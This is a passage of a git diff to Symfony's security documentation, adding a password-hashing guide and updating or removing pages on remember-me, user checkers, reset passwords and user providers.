+    generate secure password hashes. In general, this makes your password
+    hashing more secure.
+
+    In tests however, secure hashes are not important, so you can change
+    the password hasher configuration in ``test`` environment to run tests
+    faster:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/test/security.yaml
+            password_hashers:
+                # Use your user class name here
+                App\Entity\User:
+                    algorithm: plaintext # disable hashing (only do this in tests!)
+
+                # or use the lowest possible values
+                App\Entity\User:
+                    algorithm: auto # This should be the same value as in config/packages/security.yaml
+                    cost: 4 # Lowest possible value for bcrypt
+                    time_cost: 3 # Lowest possible value for argon
+                    memory_cost: 10 # Lowest possible value for argon
+
+        .. code-block:: xml
+
+            <!-- config/packages/test/security.xml -->
+            <?xml version="1.0" encoding="UTF-8"?>
+            <srv:container xmlns="http://symfony.com/schema/dic/security"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:srv="http://symfony.com/schema/dic/services"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <config>
+                    <!-- class: Use your user class name here -->
+                    <!-- algorithm: disable hashing (only do this in tests!) -->
+                    <security:password-hasher
+                        class="App\Entity\User"
+                        algorithm="plaintext"
+                    />
+
+                    <!-- or use the lowest possible values -->
+                    <!-- algorithm: This should be the same value as in config/packages/security.yaml -->
+                    <!-- cost: Lowest possible value for bcrypt -->
+                    <!-- time_cost: Lowest possible value for argon -->
+                    <!-- memory_cost: Lowest possible value for argon -->
+                    <security:password-hasher
+                        class="App\Entity\User"
+                        algorithm="auto"
+                        cost="4"
+                        time_cost="3"
+                        memory_cost="10"
+                    />
+                </config>
+            </srv:container>
+
+        .. code-block:: php
+
+            // config/packages/test/security.php
+            use App\Entity\User;
+            use Symfony\Config\SecurityConfig;
+
+            return static function (SecurityConfig $security) {
+                // ...
+
+                // Use your user class name here
+                $security->passwordHasher(User::class)
+                    ->algorithm('plaintext'); // disable hashing (only do this in tests!)
+
+                // or use the lowest possible values
+                $security->passwordHasher(User::class)
+                    ->algorithm('auto') // This should be the same value as in config/packages/security.yaml
+                    ->cost(4) // Lowest possible value for bcrypt
+                    ->timeCost(2) // Lowest possible value for argon
+                    ->memoryCost(10) // Lowest possible value for argon
+                ;
+            };
+
+Hashing the Password
+--------------------
+
+After configuring the correct algorithm, you can use the
+``UserPasswordHasherInterface`` to hash and verify the passwords:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        // src/Controller/RegistrationController.php
+        namespace App\Controller;
+
+        // ...
+        use
+        Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;
+        use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
+
+        class UserController extends AbstractController
+        {
+            public function registration(UserPasswordHasherInterface $passwordHasher)
+            {
+                // ... e.g. get the user data from a registration form
+                $user = new User(...);
+                $plaintextPassword = ...;
+
+                // hash the password (based on the security.yaml config for the $user class)
+                $hashedPassword = $passwordHasher->hashPassword(
+                    $user,
+                    $plaintextPassword
+                );
+                $user->setPassword($hashedPassword);
+
+                // ...
+            }
+
+            public function delete(UserPasswordHasherInterface $passwordHasher, UserInterface $user)
+            {
+                // ... e.g. get the password from a "confirm deletion" dialog
+                $plaintextPassword = ...;
+
+                if (!$passwordHasher->isPasswordValid($user, $plaintextPassword)) {
+                    throw new AccessDeniedHttpException();
+                }
+            }
+        }
+
+    .. code-block:: php-standalone
+
+        // ...
+        $passwordHasher = new UserPasswordHasher($passwordHasherFactory);
+
+        // Get the user password (e.g. from a registration form)
+        $user = new User(...);
+        $plaintextPassword = ...;
+
+        // hash the password (based on the password hasher factory config for the $user class)
+        $hashedPassword = $passwordHasher->hashPassword(
+            $user,
+            $plaintextPassword
+        );
+        $user->setPassword($hashedPassword);
+
+        // In another action (e.g. to confirm deletion), you can verify the password
+        $plaintextPassword = ...;
+        if (!$passwordHasher->isPasswordValid($user, $plaintextPassword)) {
+            throw new \Exception('Bad credentials, cannot delete this user.');
+        }
+
+Reset Password
+--------------
+
+Using `MakerBundle`_ and `SymfonyCastsResetPasswordBundle`_, you can create
+a secure out of the box solution to handle forgotten passwords. First,
+install the SymfonyCastsResetPasswordBundle:
+
+.. code-block:: terminal
+
+    $ composer require symfonycasts/reset-password-bundle
+
+Then, use the ``make:reset-password`` command. This asks you a few
+questions about your app and generates all the files you need! After,
+you'll see a success message and a list of any other steps you need to do.
+
+.. code-block:: terminal
+
+    $ php bin/console make:reset-password
+
+You can customize the reset password bundle's behavior by updating the
+``reset_password.yaml`` file. For more information on the configuration,
+check out the `SymfonyCastsResetPasswordBundle`_  guide.
+
+.. _security-password-migration:
+
+Password Migration
+------------------
+
+In order to protect passwords, it is recommended to store them using the latest
+hash algorithms. This means that if a better hash algorithm is supported on your
+system, the user's password should be *rehashed* using the newer algorithm and
+stored. That's possible with the ``migrate_from`` option:
+
+#. `Configure a new Hasher Using "migrate_from"`_
+#. `Upgrade the Password`_
+#. Optionally, `Trigger Password Migration From a Custom Hasher`_
+
+Configure a new Hasher Using "migrate_from"
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When a better hashing algorithm becomes available, you should keep the existing
+hasher(s), rename it, and then define the new one. Set the ``migrate_from`` option
+on the new hasher to point to the old, legacy hasher(s):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            password_hashers:
+                # a hasher used in the past for some users
+                legacy:
+                    algorithm: sha256
+                    encode_as_base64: false
+                    iterations: 1
+
+                App\Entity\User:
+                    # the new hasher, along with its options
+                    algorithm: sodium
+                    migrate_from:
+                        - bcrypt # uses the "bcrypt" hasher with the default options
+                        - legacy # uses the "legacy" hasher configured above
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:security="http://symfony.com/schema/dic/security"
+            xsi:schemaLocation="http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <security:config>
+                <!-- ... -->
+
+                <security:password-hasher class="legacy"
+                    algorithm="sha256"
+                    encode-as-base64="false"
+                    iterations="1"
+                />
+
+                <!-- algorithm: the new hasher, along with its options -->
+                <security:password-hasher class="App\Entity\User"
+                    algorithm="sodium"
+                >
+                    <!-- uses the bcrypt hasher with the default options -->
+                    <security:migrate-from>bcrypt</security:migrate-from>
+
+                    <!-- uses the legacy hasher configured above -->
+                    <security:migrate-from>legacy</security:migrate-from>
+                </security:password-hasher>
+            </security:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->passwordHasher('legacy')
+                ->algorithm('sha256')
+                ->encodeAsBase64(true)
+                ->iterations(1)
+            ;
+
+            $security->passwordHasher('App\Entity\User')
+                // the new hasher, along with its options
+                ->algorithm('sodium')
+                ->migrateFrom([
+                    'bcrypt', // uses the "bcrypt" hasher with the default options
+                    'legacy', // uses the "legacy" hasher configured above
+                ])
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        // ...
+        $passwordHasherFactory = new PasswordHasherFactory([
+            'legacy' => [
+                'algorithm' => 'sha256',
+                'encode_as_base64' => true,
+                'iterations' => 1,
+            ],
+
+            User::class => [
+                // the new hasher, along with its options
+                'algorithm' => 'sodium',
+                'migrate_from' => [
+                    'bcrypt', // uses the "bcrypt" hasher with the default options
+                    'legacy', // uses the "legacy" hasher configured above
+                ],
+            ],
+        ]);
+
+With this setup:
+
+* New users will be hashed with the new algorithm;
+* Whenever a user logs in whose password is still stored using the old algorithm,
+  Symfony will verify the password with the old algorithm and then rehash
+  and update the password using the new algorithm.
+
+.. tip::
+
+    The *auto*, *native*, *bcrypt* and *argon* hashers automatically enable
+    password migration using the following list of ``migrate_from`` algorithms:
+
+    #. :ref:`PBKDF2 <reference-security-pbkdf2>` (which uses :phpfunction:`hash_pbkdf2`);
+    #. Message digest (which uses :phpfunction:`hash`)
+
+    Both use the ``hash_algorithm`` setting as the algorithm. It is recommended to
+    use ``migrate_from`` instead of ``hash_algorithm``, unless the *auto*
+    hasher is used.
+
+Upgrade the Password
+~~~~~~~~~~~~~~~~~~~~
+
+Upon successful login, the Security system checks whether a better algorithm
+is available to hash the user's password. If it is, it'll hash the correct
+password using the new hash. When using a custom authenticator, you must
+use the ``PasswordCredentials`` in the :ref:`security passport <security-passport>`.
+
+You can enable the upgrade behavior by implementing how this newly hashed
+password should be stored:
+
+* :ref:`When using Doctrine's entity user provider <upgrade-the-password-doctrine>`
+* :ref:`When using a custom user provider <upgrade-the-password-custom-provider>`
+
+After this, you're done and passwords are always hashed as secure as possible!
+
+.. note::
+
+    When using the PasswordHasher component outside a Symfony application,
+    you must manually use the ``PasswordHasherInterface::needsRehash()``
+    method to check if a rehash is needed and ``PasswordHasherInterface::hash()``
+    method to rehash the plaintext password using the new algorithm.
+
+.. _upgrade-the-password-doctrine:
+
+Upgrade the Password when using Doctrine
+........................................
+
+When using the :ref:`entity user provider <security-entity-user-provider>`, implement
+:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
+the ``UserRepository`` (see `the Doctrine docs for information`_ on how to
+create this class if it's not already created). This interface implements
+storing the newly created password hash::
+
+    // src/Repository/UserRepository.php
+    namespace App\Repository;
+
+    // ...
+    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
+
+    class UserRepository extends EntityRepository implements PasswordUpgraderInterface
+    {
+        // ...
+
+        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
+        {
+            // set the new hashed password on the User object
+            $user->setPassword($newHashedPassword);
+
+            // execute the queries on the database
+            $this->getEntityManager()->flush();
+        }
+    }
+
+.. _upgrade-the-password-custom-provider:
+
+Upgrade the Password when using a Custom User Provider
+......................................................
+
+If you're using a :ref:`custom user provider <security-custom-user-provider>`, implement the
+:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
+the user provider::
+
+    // src/Security/UserProvider.php
+    namespace App\Security;
+
+    // ...
+    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
+
+    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
+    {
+        // ...
+
+        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
+        {
+            // set the new hashed password on the User object
+            $user->setPassword($newHashedPassword);
+
+            // ... store the new password
+        }
+    }
+
+Trigger Password Migration From a Custom Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you're using a custom password hasher, you can trigger the password
+migration by returning ``true`` in the ``needsRehash()`` method::
+
+    // src/Security/CustomPasswordHasher.php
+    namespace App\Security;
+
+    // ...
+    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
+
+    class CustomPasswordHasher implements UserPasswordHasherInterface
+    {
+        // ...
+
+        public function needsRehash(string $hashed): bool
+        {
+            // check whether the current password is hashed using an outdated hasher
+            $hashIsOutdated = ...;
+
+            return $hashIsOutdated;
+        }
+    }
+
+Named Password Hashers
+----------------------
+
+Usually, the same password hasher is used for all users by configuring it
+to apply to all instances of a specific class. Another option is to use a
+"named" hasher and then select which hasher you want to use dynamically.
+
+By default (as shown at the start of the article), the ``auto`` algorithm
+is used for ``App\Entity\User``.
+
+This may be secure enough for a regular user, but what if you want your
+admins to have a stronger algorithm, for example ``auto`` with a higher
+cost. This can be done with named hashers:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            password_hashers:
+                harsh:
+                    algorithm: auto
+                    cost: 15
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd"
+        >
+
+            <config>
+                <!-- ... -->
+                <security:password-hasher class="harsh"
+                    algorithm="auto"
+                    cost="15"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->passwordHasher('harsh')
+                ->algorithm('auto')
+                ->cost(15)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
+
+        $passwordHasherFactory = new PasswordHasherFactory([
+            // ...
+            'harsh' => [
+                'algorithm' => 'auto',
+                'cost' => 15
+            ],
+        ]);
+
+This creates a hasher named ``harsh``. In order for a ``User`` instance
+to use it, the class must implement
+:class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherAwareInterface`.
+The interface requires one method - ``getPasswordHasherName()`` - which should return
+the name of the hasher to use::
+
+    // src/Entity/User.php
+    namespace App\Entity;
+
+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherAwareInterface;
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+    use Symfony\Component\Security\Core\User\UserInterface;
+
+    class User implements
+        UserInterface,
+        PasswordAuthenticatedUserInterface,
+        PasswordHasherAwareInterface
+    {
+        // ...
+
+        public function getPasswordHasherName(): ?string
+        {
+            if ($this->isAdmin()) {
+                return 'harsh';
+            }
+
+            return null; // use the default hasher
+        }
+    }
+
+If you created your own password hasher implementing the
+:class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`,
+you must register a service for it in order to use it as a named hasher:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            password_hashers:
+                app_hasher:
+                    id: 'App\Security\Hasher\MyCustomPasswordHasher'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd"
+        >
+
+            <config>
+                <!-- ... -->
+                <security:password_hasher class="app_hasher"
+                    id="App\Security\Hasher\MyCustomPasswordHasher"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\Hasher\MyCustomPasswordHasher;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->passwordHasher('app_hasher')
+                ->id(MyCustomPasswordHasher::class)
+            ;
+        };
+
+This creates a hasher named ``app_hasher`` from a service with the ID
+``App\Security\Hasher\MyCustomPasswordHasher``.
+
+.. _passwordhasher-supported-algorithms:
+
+Supported Algorithms
+--------------------
+
+* :ref:`auto <reference-security-encoder-auto>`
+* :ref:`bcrypt <reference-security-encoder-bcrypt>`
+* :ref:`sodium <reference-security-sodium>`
+* :ref:`PBKDF2 <reference-security-pbkdf2>`
+
+.. TODO missing:
+    * :ref:`Message Digest <reference-security-message-digest>`
+    * :ref:`Native <reference-security-native>`
+    * :ref:`Plaintext <reference-security-plaintext>`
+
+.. _reference-security-encoder-auto:
+
+The "auto"  Hasher
+~~~~~~~~~~~~~~~~~~
+
+It automatically selects the best available hasher. Starting from Symfony 5.3,
+it uses the Bcrypt hasher. If PHP or Symfony adds new password hashers in the
+future, it might select a different hasher.
+
+Because of this, the length of the hashed passwords may change in the future, so
+make sure to allocate enough space for them to be persisted (``varchar(255)``
+should be a good setting).
+
+.. _reference-security-encoder-bcrypt:
+
+The Bcrypt Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It produces hashed passwords with the `bcrypt password hashing function`_.
+Hashed passwords are ``60`` characters long, so make sure to
+allocate enough space for them to be persisted. Also, passwords include the
+`cryptographic salt`_ inside them (it's generated automatically for each new
+password) so you don't have to deal with it.
+
+Its only configuration option is ``cost``, which is an integer in the range of
+``4-31`` (by default, ``13``). Each single increment of the cost **doubles the
+time** it takes to hash a password. It's designed this way so the password
+strength can be adapted to the future improvements in computation power.
+
+You can change the cost at any time — even if you already have some passwords
+hashed using a different cost. New passwords will be hashed using the new
+cost, while the already hashed ones will be validated using a cost that was
+used back when they were hashed.
+
+.. tip::
+
+    A simple technique to make tests much faster when using BCrypt is to set
+    the cost to ``4``, which is the minimum value allowed, in the ``test``
+    environment configuration.
+
+.. _reference-security-sodium:
+
+The Sodium Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It uses the `Argon2 key derivation function`_. Argon2 support was introduced
+in PHP 7.2 by bundeling the `libsodium`_ extension.
+
+The hashed passwords are ``96`` characters long, but due to the hashing
+requirements saved in the resulting hash this may change in the future, so make
+sure to allocate enough space for them to be persisted. Also, passwords include
+the `cryptographic salt`_ inside them (it's generated automatically for each new
+password) so you don't have to deal with it.
+
+.. _reference-security-pbkdf2:
+
+The PBKDF2 Hasher
+~~~~~~~~~~~~~~~~~
+
+Using the `PBKDF2`_ hasher is no longer recommended since PHP added support for
+Sodium and BCrypt. Legacy application still using it are encouraged to upgrade
+to those newer hashing algorithms.
+
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`PBKDF2`: https://en.wikipedia.org/wiki/PBKDF2
+.. _`libsodium`: https://pecl.php.net/package/libsodium
+.. _`Argon2 key derivation function`: https://en.wikipedia.org/wiki/Argon2
+.. _`bcrypt password hashing function`: https://en.wikipedia.org/wiki/Bcrypt
+.. _`cryptographic salt`: https://en.wikipedia.org/wiki/Salt_(cryptography)
+.. _`the Doctrine docs for information`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-objects.html#custom-repositories
+.. _`SymfonyCastsResetPasswordBundle`: https://github.com/symfonycasts/reset-password-bundle
diff --git a/security/remember_me.rst b/security/remember_me.rst
index de9f51afddf..b14b012202f 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -63,24 +63,23 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'remember_me' => [
-                        'secret'   => '%kernel.secret%',
-                        'lifetime' => 604800, // 1 week in seconds
-                        'path'     => '/',
-                        // by default, the feature is enabled by checking a
-                        // checkbox in the login form (see below), uncomment
-                        // the following line to always enable it.
-                        //'always_remember_me' => true,
-                    ],
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->rememberMe()
+                    ->secret('%kernel.secret%')
+                    ->lifetime(604800) // 1 week in seconds
+                    ->path('/')
+
+                    // by default, the feature is enabled by checking a
+                    // checkbox in the login form (see below), uncomment
+                    // the following line to always enable it.
+                    // ->alwaysRememberMe(true)
+            ;
+        };
 
 The ``remember_me`` firewall defines the following configuration options:
 
@@ -184,7 +183,7 @@ users to change their password. You can do this by leveraging a few special
     // src/Controller/AccountController.php
     // ...
 
-    public function accountInfo()
+    public function accountInfo(): Response
     {
         // allow any authenticated user - we don't care if they just
         // logged in, or are logged in via a remember me cookie
@@ -193,7 +192,7 @@ users to change their password. You can do this by leveraging a few special
         // ...
     }
 
-    public function resetPassword()
+    public function resetPassword(): Response
     {
         // require the user to log in during *this* session
         // if they were only logged in via a remember me cookie, they
@@ -283,19 +282,19 @@ so ``DoctrineTokenProvider`` can store the tokens:
 
         .. code-block:: xml
 
-            # config/packages/doctrine.xml
+            <!-- config/packages/doctrine.xml -->
             <doctrine:dbal schema-filter="~^(?!rememberme_token)~"/>
 
         .. code-block:: php
 
-            # config/packages/doctrine.php
-            $container->loadFromExtension('doctrine', [
-                'dbal' => [
-                    'schema_filter'  => '~^(?!rememberme_token)~',
-                    // ...
-                ],
+            // config/packages/doctrine.php
+            use Symfony\Config\DoctrineConfig;
+
+            return static function (DoctrineConfig $doctrine) {
+                $dbalDefault = $doctrine->dbal()->connection('default');
                 // ...
-            ]);
+                $dbalDefault->schemaFilter('~^(?!rememberme_token)~');
+            };
 
 Finally, set the ``token_provider`` option of the ``remember_me`` config to the
 service you created before:
@@ -344,16 +343,14 @@ service you created before:
 
         // config/packages/security.php
         use Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider;
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main' => [
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->rememberMe()
                     // ...
-                    'remember_me' => [
-                        // ...
-                        'token_provider' => DoctrineTokenProvider::class,
-                    ],
-                ],
-            ],
-        ]);
+                    ->tokenProvider(DoctrineTokenProvider::class)
+            ;
+        };
diff --git a/security/reset_password.rst b/security/reset_password.rst
deleted file mode 100644
index bbde221f015..00000000000
--- a/security/reset_password.rst
+++ /dev/null
@@ -1,28 +0,0 @@
-How to Add a Reset Password Feature
-===================================
-
-Using `MakerBundle`_ & `SymfonyCastsResetPasswordBundle`_ you can create a
-secure out of the box solution to handle forgotten passwords.
-
-First, make sure you have a security ``User`` class. Follow
-the :doc:`Security Guide </security>` if you don't have one already.
-
-Generating the Reset Password Code
-----------------------------------
-
-.. code-block:: terminal
-
-    $ composer require symfonycasts/reset-password-bundle
-        .....
-    $ php bin/console make:reset-password
-
-The `make:reset-password` command will ask you a few questions about your app and
-generate all the files you need! After, you'll see a success message and a list
-of any other steps you need to do.
-
-You can customize the reset password bundle's behavior by updating the ``reset_password.yaml``
-file. For more information on the configuration, check out the
-`SymfonyCastsResetPasswordBundle`_  guide.
-
-.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`SymfonyCastsResetPasswordBundle`: https://github.com/symfonycasts/reset-password-bundle
diff --git a/security/securing_services.rst b/security/securing_services.rst
deleted file mode 100644
index 67b37dd792e..00000000000
--- a/security/securing_services.rst
+++ /dev/null
@@ -1,53 +0,0 @@
-.. index::
-   single: Security; Securing any service
-   single: Security; Securing any method
-
-How to Secure any Service or Method in your Application
-=======================================================
-
-In the security article, you learned how to
-:ref:`secure a controller <security-securing-controller>` via a shortcut method.
-
-But, you can check access *anywhere* in your code by injecting the ``Security``
-service. For example, suppose you have a ``SalesReportManager`` service and you
-want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` role:
-
-.. code-block:: diff
-
-    // src/Newsletter/NewsletterManager.php
-
-    // ...
-    use Symfony\Component\Security\Core\Exception\AccessDeniedException;
-    + use Symfony\Component\Security\Core\Security;
-
-    class SalesReportManager
-    {
-    +     private $security;
-
-    +     public function __construct(Security $security)
-    +     {
-    +         $this->security = $security;
-    +     }
-
-        public function sendNewsletter()
-        {
-            $salesData = [];
-
-    +         if ($this->security->isGranted('ROLE_SALES_ADMIN')) {
-    +             $salesData['top_secret_numbers'] = rand();
-    +         }
-
-            // ...
-        }
-
-        // ...
-    }
-
-If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-Symfony will automatically pass the ``security.helper`` to your service
-thanks to autowiring and the ``Security`` type-hint.
-
-You can also use a lower-level
-:class:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationCheckerInterface`
-service. It does the same thing as ``Security``, but allows you to type-hint a
-more-specific interface.
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 9ded2a00449..a404a668932 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -23,7 +23,7 @@ displayed to the user::
 
     namespace App\Security;
 
-    use App\Security\User as AppUser;
+    use App\Entity\User as AppUser;
     use Symfony\Component\Security\Core\Exception\AccountExpiredException;
     use Symfony\Component\Security\Core\Exception\CustomUserMessageAccountStatusException;
     use Symfony\Component\Security\Core\User\UserCheckerInterface;
@@ -31,7 +31,7 @@ displayed to the user::
 
     class UserChecker implements UserCheckerInterface
     {
-        public function checkPreAuth(UserInterface $user)
+        public function checkPreAuth(UserInterface $user): void
         {
             if (!$user instanceof AppUser) {
                 return;
@@ -43,7 +43,7 @@ displayed to the user::
             }
         }
 
-        public function checkPostAuth(UserInterface $user)
+        public function checkPostAuth(UserInterface $user): void
         {
             if (!$user instanceof AppUser) {
                 return;
@@ -87,7 +87,7 @@ is the service id of your user checker:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -110,14 +110,13 @@ is the service id of your user checker:
 
         // config/packages/security.php
         use App\Security\UserChecker;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
-            'firewalls' => [
-                'main' => [
-                    'pattern' => '^/',
-                    'user_checker' => UserChecker::class,
-                    // ...
-                ],
-            ],
-        ]);
+            $security->firewall('main')
+                ->pattern('^/')
+                ->userChecker(UserChecker::class)
+                // ...
+            ;
+        };
diff --git a/security/user_provider.rst b/security/user_provider.rst
deleted file mode 100644
index 00e7c5a58d8..00000000000
--- a/security/user_provider.rst
+++ /dev/null
@@ -1,533 +0,0 @@
-Security User Providers
-=======================
-
-User providers are PHP classes related to Symfony Security that have two jobs:
-
-**Reload the User from the Session**
-    At the beginning of each request (unless your firewall is ``stateless``), Symfony
-    loads the ``User`` object from the session. To make sure it's not out-of-date,
-    the user provider "refreshes it". The Doctrine user provider, for example,
-    queries the database for fresh data. Symfony then checks to see if the user
-    has "changed" and de-authenticates the user if they have (see :ref:`user_session_refresh`).
-
-**Load the User for some Feature**
-    Some features, like :doc:`user impersonation </security/impersonating_user>`,
-    :doc:`Remember Me </security/remember_me>` and many of the built-in
-    :doc:`authentication providers </security/auth_providers>`, use the user provider
-    to load a User object via its "username" (or email, or whatever field you want).
-
-Symfony comes with several built-in user providers:
-
-* :ref:`Entity User Provider <security-entity-user-provider>` (loads users from
-  a database);
-* :ref:`LDAP User Provider <security-ldap-user-provider>` (loads users from a
-  LDAP server);
-* :ref:`Memory User Provider <security-memory-user-provider>` (loads users from
-  a configuration file);
-* :ref:`Chain User Provider <security-chain-user-provider>` (merges two or more
-  user providers into a new user provider).
-
-The built-in user providers cover all the needs for most applications, but you
-can also create your own :ref:`custom user provider <custom-user-provider>`.
-
-.. _security-entity-user-provider:
-
-Entity User Provider
---------------------
-
-This is the most common user provider for traditional web applications. Users
-are stored in a database and the user provider uses :doc:`Doctrine </doctrine>`
-to retrieve them:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-            # ...
-
-            providers:
-                users:
-                    entity:
-                        # the class of the entity that represents users
-                        class: 'App\Entity\User'
-                        # the property to query by - e.g. username, email, etc
-                        property: 'username'
-                        # optional: if you're using multiple Doctrine entity
-                        # managers, this option defines which one to use
-                        # manager_name: 'customer'
-
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <config>
-                <provider name="users">
-                    <!-- 'class' is the entity that represents users and 'property'
-                         is the entity property to query by - e.g. username, email, etc -->
-                    <entity class="App\Entity\User" property="username"/>
-
-                    <!-- optional: if you're using multiple Doctrine entity
-                         managers, this option defines which one to use -->
-                    <!-- <entity class="App\Entity\User" property="username"
-                                 manager-name="customer"/> -->
-                </provider>
-
-                <!-- ... -->
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Entity\User;
-
-        $container->loadFromExtension('security', [
-            'providers' => [
-                'users' => [
-                    'entity' => [
-                        // the class of the entity that represents users
-                        'class'    => User::class,
-                        // the property to query by - e.g. username, email, etc
-                        'property' => 'username',
-                        // optional: if you're using multiple Doctrine entity
-                        // managers, this option defines which one to use
-                        // 'manager_name' => 'customer',
-                    ],
-                ],
-            ],
-
-            // ...
-        ]);
-
-The ``providers`` section creates a "user provider" called ``users`` that knows
-how to query from your ``App\Entity\User`` entity by the ``username`` property.
-You can choose any name for the user provider, but it's recommended to pick a
-descriptive name because this will be later used in the firewall configuration.
-
-.. _authenticating-someone-with-a-custom-entity-provider:
-
-Using a Custom Query to Load the User
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The ``entity`` provider can only query from one *specific* field, specified by
-the ``property`` config key. If you want a bit more control over this - e.g. you
-want to find a user by ``email`` *or* ``username``, you can do that by making
-your ``UserRepository`` implement the
-:class:`Symfony\\Bridge\\Doctrine\\Security\\User\\UserLoaderInterface`. This
-interface only requires one method: ``loadUserByUsername($username)``::
-
-    // src/Repository/UserRepository.php
-    namespace App\Repository;
-
-    use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
